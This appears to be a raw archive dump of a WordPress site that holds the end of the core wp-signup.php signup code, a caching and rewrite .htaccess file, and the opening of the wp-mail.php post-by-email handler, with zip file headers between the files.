 * @since MU (3.0.0)
 *
 * @global string   $blogname   The new site's subdomain or directory name.
 * @global string   $blog_title The new site's title.
 * @global WP_Error $errors     Existing errors in the global scope.
 * @global string   $domain     The new site's domain.
 * @global string   $path       The new site's path.
 *
 * @return null|bool True if site signup was validated, false on error.
 *                   The function halts all execution if the user is not logged in.
 */
function validate_another_blog_signup() {
	global $blogname, $blog_title, $errors, $domain, $path;
	$current_user = wp_get_current_user();
	if ( ! is_user_logged_in() ) {
		die();
	}

	$result = validate_blog_form();

	// Extracted values set/overwrite globals.
	$domain     = $result['domain'];
	$path       = $result['path'];
	$blogname   = $result['blogname'];
	$blog_title = $result['blog_title'];
	$errors     = $result['errors'];

	if ( $errors->has_errors() ) {
		signup_another_blog( $blogname, $blog_title, $errors );
		return false;
	}

	$public = (int) $_POST['blog_public'];

	$blog_meta_defaults = array(
		'lang_id' => 1,
		'public'  => $public,
	);

	// Handle the language setting for the new site.
	if ( ! empty( $_POST['WPLANG'] ) ) {

		$languages = signup_get_available_languages();

		if ( in_array( $_POST['WPLANG'], $languages, true ) ) {
			$language = wp_unslash( sanitize_text_field( $_POST['WPLANG'] ) );

			if ( $language ) {
				$blog_meta_defaults['WPLANG'] = $language;
			}
		}
	}

	/**
	 * Filters the new site meta variables.
	 *
	 * Use the {@see 'add_signup_meta'} filter instead.
	 *
	 * @since MU (3.0.0)
	 * @deprecated 3.0.0 Use the {@see 'add_signup_meta'} filter instead.
	 *
	 * @param array $blog_meta_defaults An array of default blog meta variables.
	 */
	$meta_defaults = apply_filters_deprecated( 'signup_create_blog_meta', array( $blog_meta_defaults ), '3.0.0', 'add_signup_meta' );

	/**
	 * Filters the new default site meta variables.
	 *
	 * @since 3.0.0
	 *
	 * @param array $meta {
	 *     An array of default site meta variables.
	 *
	 *     @type int $lang_id     The language ID.
	 *     @type int $blog_public Whether search engines should be discouraged from indexing the site. 1 for true, 0 for false.
	 * }
	 */
	$meta = apply_filters( 'add_signup_meta', $meta_defaults );

	$blog_id = wpmu_create_blog( $domain, $path, $blog_title, $current_user->ID, $meta, get_current_network_id() );

	if ( is_wp_error( $blog_id ) ) {
		return false;
	}

	confirm_another_blog_signup( $domain, $path, $blog_title, $current_user->user_login, $current_user->user_email, $meta, $blog_id );
	return true;
}

/**
 * Shows a message confirming that the new site has been created.
 *
 * @since MU (3.0.0)
 * @since 4.4.0 Added the `$blog_id` parameter.
 *
 * @param string $domain     The domain URL.
 * @param string $path       The site root path.
 * @param string $blog_title The site title.
 * @param string $user_name  The username.
 * @param string $user_email The user's email address.
 * @param array  $meta       Any additional meta from the {@see 'add_signup_meta'} filter in validate_blog_signup().
 * @param int    $blog_id    The site ID.
 */
function confirm_another_blog_signup( $domain, $path, $blog_title, $user_name, $user_email = '', $meta = array(), $blog_id = 0 ) {

	if ( $blog_id ) {
		switch_to_blog( $blog_id );
		$home_url  = home_url( '/' );
		$login_url = wp_login_url();
		restore_current_blog();
	} else {
		$home_url  = 'http://' . $domain . $path;
		$login_url = 'http://' . $domain . $path . 'wp-login.php';
	}

	$site = sprintf(
		'<a href="%1$s">%2$s</a>',
		esc_url( $home_url ),
		$blog_title
	);

	?>
	<h2>
	<?php
		/* translators: %s: Site title. */
		printf( __( 'The site %s is yours.' ), $site );
	?>
	</h2>
	<p>
		<?php
		printf(
			/* translators: 1: Link to new site, 2: Login URL, 3: Username. */
			__( '%1$s is your new site. <a href="%2$s">Log in</a> as &#8220;%3$s&#8221; using your existing password.' ),
			sprintf(
				'<a href="%s">%s</a>',
				esc_url( $home_url ),
				untrailingslashit( $domain . $path )
			),
			esc_url( $login_url ),
			$user_name
		);
		?>
	</p>
	<?php
	/**
	 * Fires when the site or user sign-up process is complete.
	 *
	 * @since 3.0.0
	 */
	do_action( 'signup_finished' );
}

/**
 * Shows a form for a visitor to sign up for a new user account.
 *
 * @since MU (3.0.0)
 *
 * @global string $active_signup String that returns registration type. The value can be
 *                               'all', 'none', 'blog', or 'user'.
 *
 * @param string          $user_name  The username.
 * @param string          $user_email The user's email.
 * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
 */
function signup_user( $user_name = '', $user_email = '', $errors = '' ) {
	global $active_signup;

	if ( ! is_wp_error( $errors ) ) {
		$errors = new WP_Error();
	}

	$signup_for = isset( $_POST['signup_for'] ) ? esc_html( $_POST['signup_for'] ) : 'blog';

	$signup_user_defaults = array(
		'user_name'  => $user_name,
		'user_email' => $user_email,
		'errors'     => $errors,
	);

	/**
	 * Filters the default user variables used on the user sign-up form.
	 *
	 * @since 3.0.0
	 *
	 * @param array $signup_user_defaults {
	 *     An array of default user variables.
	 *
	 *     @type string   $user_name  The user username.
	 *     @type string   $user_email The user email address.
	 *     @type WP_Error $errors     A WP_Error object with possible errors relevant to the sign-up user.
	 * }
	 */
	$filtered_results = apply_filters( 'signup_user_init', $signup_user_defaults );
	$user_name        = $filtered_results['user_name'];
	$user_email       = $filtered_results['user_email'];
	$errors           = $filtered_results['errors'];

	?>

	<h2>
	<?php
		/* translators: %s: Name of the network. */
		printf( __( 'Get your own %s account in seconds' ), get_network()->site_name );
	?>
	</h2>
	<form id="setupform" method="post" action="wp-signup.php" novalidate="novalidate">
		<input type="hidden" name="stage" value="validate-user-signup" />
		<?php
		/** This action is documented in wp-signup.php */
		do_action( 'signup_hidden_fields', 'validate-user' );
		?>
		<?php show_user_form( $user_name, $user_email, $errors ); ?>

		<?php if ( 'blog' === $active_signup ) : ?>
			<input id="signupblog" type="hidden" name="signup_for" value="blog" />
		<?php elseif ( 'user' === $active_signup ) : ?>
			<input id="signupblog" type="hidden" name="signup_for" value="user" />
		<?php else : ?>
			<fieldset class="signup-options">
				<legend><?php _e( 'Create a site or only a username:' ); ?></legend>
				<p class="wp-signup-radio-buttons">
					<span class="wp-signup-radio-button">
						<input id="signupblog" type="radio" name="signup_for" value="blog" <?php checked( $signup_for, 'blog' ); ?> />
						<label class="checkbox" for="signupblog"><?php _e( 'Gimme a site!' ); ?></label>
					</span>
					<span class="wp-signup-radio-button">
						<input id="signupuser" type="radio" name="signup_for" value="user" <?php checked( $signup_for, 'user' ); ?> />
						<label class="checkbox" for="signupuser"><?php _e( 'Just a username, please.' ); ?></label>
					</span>
				</p>
			</fieldset>
		<?php endif; ?>

		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Next' ); ?>" /></p>
	</form>
	<?php
}

/**
 * Validates the new user sign-up.
 *
 * @since MU (3.0.0)
 *
 * @return bool True if new user sign-up was validated, false on error.
 */
function validate_user_signup() {
	$result     = validate_user_form();
	$user_name  = $result['user_name'];
	$user_email = $result['user_email'];
	$errors     = $result['errors'];

	if ( $errors->has_errors() ) {
		signup_user( $user_name, $user_email, $errors );
		return false;
	}

	if ( 'blog' === $_POST['signup_for'] ) {
		signup_blog( $user_name, $user_email );
		return false;
	}

	/** This filter is documented in wp-signup.php */
	wpmu_signup_user( $user_name, $user_email, apply_filters( 'add_signup_meta', array() ) );

	confirm_user_signup( $user_name, $user_email );
	return true;
}

/**
 * Shows a message confirming that the new user has been registered and is awaiting activation.
 *
 * @since MU (3.0.0)
 *
 * @param string $user_name  The username.
 * @param string $user_email The user's email address.
 */
function confirm_user_signup( $user_name, $user_email ) {
	?>
	<h2>
	<?php
	/* translators: %s: Username. */
	printf( __( '%s is your new username' ), $user_name )
	?>
	</h2>
	<p><?php _e( 'But, before you can start using your new username, <strong>you must activate it</strong>.' ); ?></p>
	<p>
	<?php
	/* translators: %s: The user email address. */
	printf( __( 'Check your inbox at %s and click on the given link.' ), '<strong>' . $user_email . '</strong>' );
	?>
	</p>
	<p><?php _e( 'If you do not activate your username within two days, you will have to sign up again.' ); ?></p>
	<?php
	/** This action is documented in wp-signup.php */
	do_action( 'signup_finished' );
}

/**
 * Shows a form for a user or visitor to sign up for a new site.
 *
 * @since MU (3.0.0)
 *
 * @param string          $user_name  The username.
 * @param string          $user_email The user's email address.
 * @param string          $blogname   The site name.
 * @param string          $blog_title The site title.
 * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
 */
function signup_blog( $user_name = '', $user_email = '', $blogname = '', $blog_title = '', $errors = '' ) {
	if ( ! is_wp_error( $errors ) ) {
		$errors = new WP_Error();
	}

	$signup_blog_defaults = array(
		'user_name'  => $user_name,
		'user_email' => $user_email,
		'blogname'   => $blogname,
		'blog_title' => $blog_title,
		'errors'     => $errors,
	);

	/**
	 * Filters the default site creation variables for the site sign-up form.
	 *
	 * @since 3.0.0
	 *
	 * @param array $signup_blog_defaults {
	 *     An array of default site creation variables.
	 *
	 *     @type string   $user_name  The user username.
	 *     @type string   $user_email The user email address.
	 *     @type string   $blogname   The blogname.
	 *     @type string   $blog_title The title of the site.
	 *     @type WP_Error $errors     A WP_Error object with possible errors relevant to new site creation variables.
	 * }
	 */
	$filtered_results = apply_filters( 'signup_blog_init', $signup_blog_defaults );

	$user_name  = $filtered_results['user_name'];
	$user_email = $filtered_results['user_email'];
	$blogname   = $filtered_results['blogname'];
	$blog_title = $filtered_results['blog_title'];
	$errors     = $filtered_results['errors'];

	if ( empty( $blogname ) ) {
		$blogname = $user_name;
	}
	?>
	<form id="setupform" method="post" action="wp-signup.php">
		<input type="hidden" name="stage" value="validate-blog-signup" />
		<input type="hidden" name="user_name" value="<?php echo esc_attr( $user_name ); ?>" />
		<input type="hidden" name="user_email" value="<?php echo esc_attr( $user_email ); ?>" />
		<?php
		/** This action is documented in wp-signup.php */
		do_action( 'signup_hidden_fields', 'validate-site' );
		?>
		<?php show_blog_form( $blogname, $blog_title, $errors ); ?>
		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Sign up' ); ?>" /></p>
	</form>
	<?php
}

/**
 * Validates new site signup.
 *
 * @since MU (3.0.0)
 *
 * @return bool True if the site sign-up was validated, false on error.
 */
function validate_blog_signup() {
	// Re-validate user info.
	$user_result = wpmu_validate_user_signup( $_POST['user_name'], $_POST['user_email'] );
	$user_name   = $user_result['user_name'];
	$user_email  = $user_result['user_email'];
	$user_errors = $user_result['errors'];

	if ( $user_errors->has_errors() ) {
		signup_user( $user_name, $user_email, $user_errors );
		return false;
	}

	$result     = wpmu_validate_blog_signup( $_POST['blogname'], $_POST['blog_title'] );
	$domain     = $result['domain'];
	$path       = $result['path'];
	$blogname   = $result['blogname'];
	$blog_title = $result['blog_title'];
	$errors     = $result['errors'];

	if ( $errors->has_errors() ) {
		signup_blog( $user_name, $user_email, $blogname, $blog_title, $errors );
		return false;
	}

	$public      = (int) $_POST['blog_public'];
	$signup_meta = array(
		'lang_id' => 1,
		'public'  => $public,
	);

	// Handle the language setting for the new site.
	if ( ! empty( $_POST['WPLANG'] ) ) {

		$languages = signup_get_available_languages();

		if ( in_array( $_POST['WPLANG'], $languages, true ) ) {
			$language = wp_unslash( sanitize_text_field( $_POST['WPLANG'] ) );

			if ( $language ) {
				$signup_meta['WPLANG'] = $language;
			}
		}
	}

	/** This filter is documented in wp-signup.php */
	$meta = apply_filters( 'add_signup_meta', $signup_meta );

	wpmu_signup_blog( $domain, $path, $blog_title, $user_name, $user_email, $meta );
	confirm_blog_signup( $domain, $path, $blog_title, $user_name, $user_email, $meta );
	return true;
}

/**
 * Shows a message confirming that the new site has been registered and is awaiting activation.
 *
 * @since MU (3.0.0)
 *
 * @param string $domain     The domain or subdomain of the site.
 * @param string $path       The path of the site.
 * @param string $blog_title The title of the new site.
 * @param string $user_name  The user's username.
 * @param string $user_email The user's email address.
 * @param array  $meta       Any additional meta from the {@see 'add_signup_meta'} filter in validate_blog_signup().
 */
function confirm_blog_signup( $domain, $path, $blog_title, $user_name = '', $user_email = '', $meta = array() ) {
	?>
	<h2>
	<?php
	/* translators: %s: Site address. */
	printf( __( 'Congratulations! Your new site, %s, is almost ready.' ), "<a href='http://{$domain}{$path}'>{$blog_title}</a>" )
	?>
	</h2>

	<p><?php _e( 'But, before you can start using your site, <strong>you must activate it</strong>.' ); ?></p>
	<p>
	<?php
	/* translators: %s: The user email address. */
	printf( __( 'Check your inbox at %s and click on the given link.' ), '<strong>' . $user_email . '</strong>' );
	?>
	</p>
	<p><?php _e( 'If you do not activate your site within two days, you will have to sign up again.' ); ?></p>
	<h2><?php _e( 'Still waiting for your email?' ); ?></h2>
	<p><?php _e( 'If you have not received your email yet, there are a number of things you can do:' ); ?></p>
	<ul id="noemail-tips">
		<li><p><strong><?php _e( 'Wait a little longer. Sometimes delivery of email can be delayed by processes outside of our control.' ); ?></strong></p></li>
		<li><p><?php _e( 'Check the junk or spam folder of your email client. Sometime emails wind up there by mistake.' ); ?></p></li>
		<li>
		<?php
			/* translators: %s: Email address. */
			printf( __( 'Have you entered your email correctly? You have entered %s, if it&#8217;s incorrect, you will not receive your email.' ), $user_email );
		?>
		</li>
	</ul>
	<?php
	/** This action is documented in wp-signup.php */
	do_action( 'signup_finished' );
}

/**
 * Retrieves languages available during the site/user sign-up process.
 *
 * @since 4.4.0
 *
 * @see get_available_languages()
 *
 * @return string[] Array of available language codes. Language codes are formed by
 *                  stripping the .mo extension from the language file names.
 */
function signup_get_available_languages() {
	/**
	 * Filters the list of available languages for front-end site sign-ups.
	 *
	 * Passing an empty array to this hook will disable output of the setting on the
	 * sign-up form, and the default language will be used when creating the site.
	 *
	 * Languages not already installed will be stripped.
	 *
	 * @since 4.4.0
	 *
	 * @param string[] $languages Array of available language codes. Language codes are formed by
	 *                            stripping the .mo extension from the language file names.
	 */
	$languages = (array) apply_filters( 'signup_get_available_languages', get_available_languages() );

	/*
	 * Strip any non-installed languages and return.
	 *
	 * Re-call get_available_languages() here in case a language pack was installed
	 * in a callback hooked to the 'signup_get_available_languages' filter before this point.
	 */
	return array_intersect_assoc( $languages, get_available_languages() );
}

// Main.
$active_signup = get_site_option( 'registration', 'none' );

/**
 * Filters the type of site sign-up.
 *
 * @since 3.0.0
 *
 * @param string $active_signup String that returns registration type. The value can be
 *                              'all', 'none', 'blog', or 'user'.
 */
$active_signup = apply_filters( 'wpmu_active_signup', $active_signup );

if ( current_user_can( 'manage_network' ) ) {
	echo '<div class="mu_alert">';
	_e( 'Greetings Network Administrator!' );
	echo ' ';

	switch ( $active_signup ) {
		case 'none':
			_e( 'The network currently disallows registrations.' );
			break;
		case 'blog':
			_e( 'The network currently allows site registrations.' );
			break;
		case 'user':
			_e( 'The network currently allows user registrations.' );
			break;
		default:
			_e( 'The network currently allows both site and user registrations.' );
			break;
	}

	echo ' ';

	/* translators: %s: URL to Network Settings screen. */
	printf( __( 'To change or disable registration go to your <a href="%s">Options page</a>.' ), esc_url( network_admin_url( 'settings.php' ) ) );
	echo '</div>';
}

$newblogname = isset( $_GET['new'] ) ? strtolower( preg_replace( '/^-|-$|[^-a-zA-Z0-9]/', '', $_GET['new'] ) ) : null;

$current_user = wp_get_current_user();
if ( 'none' === $active_signup ) {
	_e( 'Registration has been disabled.' );
} elseif ( 'blog' === $active_signup && ! is_user_logged_in() ) {
	$login_url = wp_login_url( network_site_url( 'wp-signup.php' ) );
	/* translators: %s: Login URL. */
	printf( __( 'You must first <a href="%s">log in</a>, and then you can create a new site.' ), $login_url );
} else {
	$stage = isset( $_POST['stage'] ) ? $_POST['stage'] : 'default';
	switch ( $stage ) {
		case 'validate-user-signup':
			if ( 'all' === $active_signup
				|| ( 'blog' === $_POST['signup_for'] && 'blog' === $active_signup )
				|| ( 'user' === $_POST['signup_for'] && 'user' === $active_signup )
			) {
				validate_user_signup();
			} else {
				_e( 'User registration has been disabled.' );
			}
			break;
		case 'validate-blog-signup':
			if ( 'all' === $active_signup || 'blog' === $active_signup ) {
				validate_blog_signup();
			} else {
				_e( 'Site registration has been disabled.' );
			}
			break;
		case 'gimmeanotherblog':
			validate_another_blog_signup();
			break;
		case 'default':
		default:
			$user_email = isset( $_POST['user_email'] ) ? $_POST['user_email'] : '';
			/**
			 * Fires when the site sign-up form is sent.
			 *
			 * @since 3.0.0
			 */
			do_action( 'preprocess_signup_form' );
			if ( is_user_logged_in() && ( 'all' === $active_signup || 'blog' === $active_signup ) ) {
				signup_another_blog( $newblogname );
			} elseif ( ! is_user_logged_in() && ( 'all' === $active_signup || 'user' === $active_signup ) ) {
				signup_user( $newblogname, $user_email );
			} elseif ( ! is_user_logged_in() && ( 'blog' === $active_signup ) ) {
				_e( 'Sorry, new registrations are not allowed at this time.' );
			} else {
				_e( 'You are logged in already. No need to register again!' );
			}

			if ( $newblogname ) {
				$newblog = get_blogaddress_by_name( $newblogname );

				if ( 'blog' === $active_signup || 'all' === $active_signup ) {
					printf(
						/* translators: %s: Site address. */
						'<p>' . __( 'The site you were looking for, %s, does not exist, but you can create it now!' ) . '</p>',
						'<strong>' . $newblog . '</strong>'
					);
				} else {
					printf(
						/* translators: %s: Site address. */
						'<p>' . __( 'The site you were looking for, %s, does not exist.' ) . '</p>',
						'<strong>' . $newblog . '</strong>'
					);
				}
			}
			break;
	}
}
?>
</div>
</div>
<?php
/**
 * Fires after the sign-up forms, before wp_footer.
 *
 * @since 3.0.0
 */
do_action( 'after_signup_form' );
?>

<?php
get_footer( 'wp-signup' );
PK���[~����	.htaccessnu�[���# BEGIN LSCACHE
# END LSCACHE
# BEGIN NON_LSCACHE
# END NON_LSCACHE
# BEGIN SpeedyCacheheaders
FileETag None
<IfModule mod_headers.c>
	Header unset ETag
</IfModule>
<FilesMatch "\.(html)$">
<IfModule mod_headers.c>
	Header set x-speedycache-source "Server"
	Header set Cache-Tag "brainware.com.co"
	Header set CDN-Cache-Control "max-age=1296000"
	Header set Cache-Control "public"
	Header unset Pragma
	Header unset Last-Modified
</IfModule>
</FilesMatch>

<FilesMatch "\.(css|htc|js|asf|asx|wax|wmv|wmx|avi|bmp|class|divx|doc|docx|eot|exe|gif|gz|gzip|ico|jpg|jpeg|jpe|json|mdb|mid|midi|mov|qt|mp3|m4a|mp4|m4v|mpeg|mpg|mpe|mpp|otf|odb|odc|odf|odg|odp|ods|odt|ogg|pdf|png|pot|pps|ppt|pptx|ra|ram|svg|svgz|swf|tar|tif|tiff|ttf|ttc|wav|wma|wri|xla|xls|xlsx|xlt|xlw|zip)$">
	<IfModule mod_headers.c>
		Header unset Pragma
		Header set Cache-Control "public"
	</IfModule>
</FilesMatch>
# END SpeedyCacheheaders
# BEGIN Gzipspeedycache
<IfModule mod_deflate.c>
	AddOutputFilterByType DEFLATE font/opentype
	AddOutputFilterByType DEFLATE font/otf
	AddOutputFilterByType DEFLATE font/ttf
	AddOutputFilterByType DEFLATE font/woff
	AddOutputFilterByType DEFLATE font/woff2
	AddOutputFilterByType DEFLATE text/js
	AddOutputFilterByType DEFLATE text/css
	AddOutputFilterByType DEFLATE text/html
	AddOutputFilterByType DEFLATE text/javascript
	AddOutputFilterByType DEFLATE text/plain
	AddOutputFilterByType DEFLATE text/xml
	AddOutputFilterByType DEFLATE image/svg+xml
	AddOutputFilterByType DEFLATE image/x-icon
	AddOutputFilterByType DEFLATE application/javascript
	AddOutputFilterByType DEFLATE application/x-javascript
	AddOutputFilterByType DEFLATE application/vnd.ms-fontobject
	AddOutputFilterByType DEFLATE application/x-font
	AddOutputFilterByType DEFLATE application/x-font-opentype
	AddOutputFilterByType DEFLATE application/x-font-otf
	AddOutputFilterByType DEFLATE application/x-font-truetype
	AddOutputFilterByType DEFLATE application/x-font-ttf
	AddOutputFilterByType DEFLATE application/font-woff2
	AddOutputFilterByType DEFLATE application/xhtml+xml
	AddOutputFilterByType DEFLATE application/xml
	AddOutputFilterByType DEFLATE application/rss+xml
</IfModule>
# END Gzipspeedycache
# BEGIN LBCspeedycache
<IfModule mod_expires.c>
	ExpiresActive on
	ExpiresDefault A0
	ExpiresByType text/css A31536000
	ExpiresByType text/javascript A31536000
	ExpiresByType font/ttf A31536000
	ExpiresByType font/otf A31536000
	ExpiresByType font/woff A31536000
	ExpiresByType font/woff2 A31536000
	ExpiresByType image/jpg A31536000
	ExpiresByType image/jpeg A31536000
	ExpiresByType image/png A31536000
	ExpiresByType image/gif A31536000
	ExpiresByType image/webp A31536000
	ExpiresByType image/x-icon A31536000
	ExpiresByType image/svg+xml A31536000
	ExpiresByType image/vnd.microsoft.icon A31536000
	ExpiresByType video/ogg A31536000
	ExpiresByType video/mp4 A31536000
	ExpiresByType video/webm A31536000
	ExpiresByType audio/ogg A31536000
	ExpiresByType application/pdf A31536000
	ExpiresByType application/javascript A31536000
	ExpiresByType application/x-javascript A31536000
	ExpiresByType application/x-font-ttf A31536000
	ExpiresByType application/x-font-woff A31536000
	ExpiresByType application/font-woff A31536000
	ExpiresByType application/font-woff2 A31536000
	ExpiresByType application/vnd.ms-fontobject A31536000
</IfModule>
# END LBCspeedycache
# BEGIN WEBPspeedycache
<IfModule mod_rewrite.c>
	RewriteEngine On
	RewriteCond %{HTTP_ACCEPT} image/webp
	RewriteCond %{REQUEST_FILENAME} \.(jpe?g|png|gif)$
	RewriteCond %{DOCUMENT_ROOT}/$1.webp -f
	RewriteRule ^(.+)\.(jpe?g|png|gif)$ $1.webp [T=image/webp,L]
</IfModule>
<IfModule mod_headers.c>
  Header append Vary Accept env=REDIRECT_accept
</IfModule>
AddType image/webp .webp
# END WEBPspeedycache
# BEGIN speedycache
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
	RewriteCond %{REQUEST_METHOD} GET
	RewriteCond %{HTTP_USER_AGENT} !(Mediatoolkitbot|facebookexternalhit|SpeedyCacheCCSS)
	RewriteCond %{QUERY_STRING} =""
	RewriteCond %{HTTP:Cookie} !(comment_author_|wordpress_logged_in_)

	RewriteCond %{REQUEST_URI} !(\/){2}$
	RewriteCond %{REQUEST_URI} !^/(wp-(?:admin|login|register|comments-post|cron|json))/ [NC]
	RewriteCond %{DOCUMENT_ROOT}/wp-content/cache/speedycache/%{HTTP_HOST}/all%{REQUEST_URI}/index.html -f
	RewriteRule ^(.*) /wp-content/cache/speedycache/%{HTTP_HOST}/all%{REQUEST_URI}/index.html [L]
</IfModule>
# END speedycache

# BEGIN WordPress
# Las directivas (líneas) entre «BEGIN WordPress» y «END WordPress» son
# generadas dinámicamente y solo deberían ser modificadas mediante filtros de WordPress.
# Cualquier cambio en las directivas que hay entre esos marcadores serán sobrescritas.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# BEGIN LiteSpeed
<IfModule Litespeed>
SetEnv noabort 1
</IfModule>
# END LiteSpeed

# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php82” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php82___lsphp .php .php8 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit
PK���[E �""wp-mail.phpnu�[���<?php
/**
 * Gets the email message from the user's mailbox to add as
 * a WordPress post. Mailbox connection information must be
 * configured under Settings > Writing
 *
 * @package WordPress
 */

/** Make sure that the WordPress bootstrap has run before continuing. */
require __DIR__ . '/wp-load.php';

/** This filter is documented in wp-admin/options.php */
if ( ! apply_filters( 'enable_post_by_email_configuration', true ) ) {
	wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
}

$mailserver_url = get_option( 'mailserver_url' );

if ( empty( $mailserver_url ) || 'mail.example.com' === $mailserver_url ) {
	wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
}

/**
 * Fires to allow a plugin to do a complete takeover of Post by Email.
 *
 * @since 2.9.0
 */
do_action( 'wp-mail.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** Get the POP3 class with which to access the mailbox. */
require_once ABSPATH . WPINC . '/class-pop3.php';

/** Only check at this interval for new messages. */
if ( ! defined( 'WP_MAIL_INTERVAL' ) ) {
	define( 'WP_MAIL_INTERVAL', 5 * MINUTE_IN_SECONDS );
}

$last_checked = get_transient( 'mailserver_last_checked' );

if ( $last_checked ) {
	wp_die(
		sprintf(
			// translators: %s human readable rate limit.
			__( 'Email checks are rate limited to once every %s.' ),
			human_time_diff( time() - WP_MAIL_INTERVAL, time() )
		),
		__( 'Slow down, no need to check for new mails so often!' ),
		429
	);
}

set_transient( 'mailserver_last_checked', true, WP_MAIL_INTERVAL );

$time_difference = (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );

$phone_delim = '::';

$pop3 = new POP3();

if ( ! $pop3->connect( get_option( 'mailserver_url' ), get_option( 'mailserver_port' ) ) || ! $pop3->user( get_option( 'mailserver_login' ) ) ) {
	wp_die( esc_html( $pop3->ERROR ) );
}

$count = $pop3->pass( get_option( 'mailserver_pass' ) );

if ( false === $count ) {
	wp_die( esc_html( $pop3->ERROR ) );
}

if ( 0 === $count ) {
	$pop3->quit();
	wp_die( __( 'There does not seem to be any new mail.' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

for ( $i = 1; $i <= $count; $i++ ) {

	$message = $pop3->get( $i );

	$bodysignal                = false;
	$boundary                  = '';
	$charset                   = '';
	$content                   = '';
	$content_type              = '';
	$content_transfer_encoding = '';
	$post_author               = 1;
	$author_found              = false;
	$post_date                 = null;
	$post_date_gmt             = null;

	foreach ( $message as $line ) {
		// Body signal.
		if ( strlen( $line ) < 3 ) {
			$bodysignal = true;
		}
		if ( $bodysignal ) {
			$content .= $line;
		} else {
			if ( preg_match( '/Content-Type: /i', $line ) ) {
				$content_type = trim( $line );
				$content_type = substr( $content_type, 14, strlen( $content_type ) - 14 );
				$content_type = explode( ';', $content_type );
				if ( ! empty( $content_type[1] ) ) {
					$charset = explode( '=', $content_type[1] );
					$charset = ( ! empty( $charset[1] ) ) ? trim( $charset[1] ) : '';
				}
				$content_type = $content_type[0];
			}
			if ( preg_match( '/Content-Transfer-Encoding: /i', $line ) ) {
				$content_transfer_encoding = trim( $line );
				$content_transfer_encoding = substr( $content_transfer_encoding, 27, strlen( $content_transfer_encoding ) - 27 );
				$content_transfer_encoding = explode( ';', $content_transfer_encoding );
				$content_transfer_encoding = $content_transfer_encoding[0];
			}
			if ( 'multipart/alternative' === $content_type && str_contains( $line, 'boundary="' ) && '' === $boundary ) {
				$boundary = trim( $line );
				$boundary = explode( '"', $boundary );
				$boundary = $boundary[1];
			}
			if ( preg_match( '/Subject: /i', $line ) ) {
				$subject = trim( $line );
				$subject = substr( $subject, 9, strlen( $subject ) - 9 );
				// Captures any text in the subject before $phone_delim as the subject.
				if ( function_exists( 'iconv_mime_decode' ) ) {
					$subject = iconv_mime_decode( $subject, 2, get_option( 'blog_charset' ) );
				} else {
					$subject = wp_iso_descrambler( $subject );
				}
				$subject = explode( $phone_delim, $subject );
				$subject = $subject[0];
			}

			/*
			 * Set the author using the email address (From or Reply-To, the last used)
			 * otherwise use the site admin.
			 */
			if ( ! $author_found && preg_match( '/^(From|Reply-To): /', $line ) ) {
				if ( preg_match( '|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches ) ) {
					$author = $matches[0];
				} else {
					$author = trim( $line );
				}
				$author = sanitize_email( $author );
				if ( is_email( $author ) ) {
					$userdata = get_user_by( 'email', $author );
					if ( ! empty( $userdata ) ) {
						$post_author  = $userdata->ID;
						$author_found = true;
					}
				}
			}

			if ( preg_match( '/Date: /i', $line ) ) { // Of the form '20 Mar 2002 20:32:37 +0100'.
				$ddate = str_replace( 'Date: ', '', trim( $line ) );
				// Remove parenthesized timezone string if it exists, as this confuses strtotime().
				$ddate           = preg_replace( '!\s*\(.+\)\s*$!', '', $ddate );
				$ddate_timestamp = strtotime( $ddate );
				$post_date       = gmdate( 'Y-m-d H:i:s', $ddate_timestamp + $time_difference );
				$post_date_gmt   = gmdate( 'Y-m-d H:i:s', $ddate_timestamp );
			}
		}
	}

	// Set $post_status based on $author_found and on author's publish_posts capability.
	if ( $author_found ) {
		$user        = new WP_User( $post_author );
		$post_status = ( $user->has_cap( 'publish_posts' ) ) ? 'publish' : 'pending';
	} else {
		// Author not found in DB, set status to pending. Author already set to admin.
		$post_status = 'pending';
	}

	$subject = trim( $subject );

	if ( 'multipart/alternative' === $content_type ) {
		$content = explode( '--' . $boundary, $content );
		$content = $content[2];

		// Match case-insensitive Content-Transfer-Encoding.
		if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim ) ) {
			$content = explode( $delim[0], $content );
			$content = $content[1];
		}
		$content = strip_tags( $content, '<img><p><br><i><b><u><em><strong><strike><font><span><div>' );
	}
	$content = trim( $content );

	/**
	 * Filters the original content of the email.
	 *
	 * Give Post-By-Email extending plugins full access to the content, either
	 * the raw content, or the content of the last quoted-printable section.
	 *
	 * @since 2.8.0
	 *
	 * @param string $content The original email content.
	 */
	$content = apply_filters( 'wp_mail_original_content', $content );

	if ( false !== stripos( $content_transfer_encoding, 'quoted-printable' ) ) {
		$content = quoted_printable_decode( $content );
	}

	if ( function_exists( 'iconv' ) && ! empty( $charset ) ) {
		$content = iconv( $charset, get_option( 'blog_charset' ), $content );
	}

	// Captures any text in the body after $phone_delim as the body.
	$content = explode( $phone_delim, $content );
	$content = empty( $content[1] ) ? $content[0] : $content[1];

	$content = trim( $content );

	/**
	 * Filters the content of the post submitted by email before saving.
	 *
	 * @since 1.2.0
	 *
	 * @param string $content The email content.
	 */
	$post_content = apply_filters( 'phone_content', $content );

	$post_title = xmlrpc_getposttitle( $content );

	if ( '' === trim( $post_title ) ) {
		$post_title = $subject;
	}

	$post_category = array( get_option( 'default_email_category' ) );

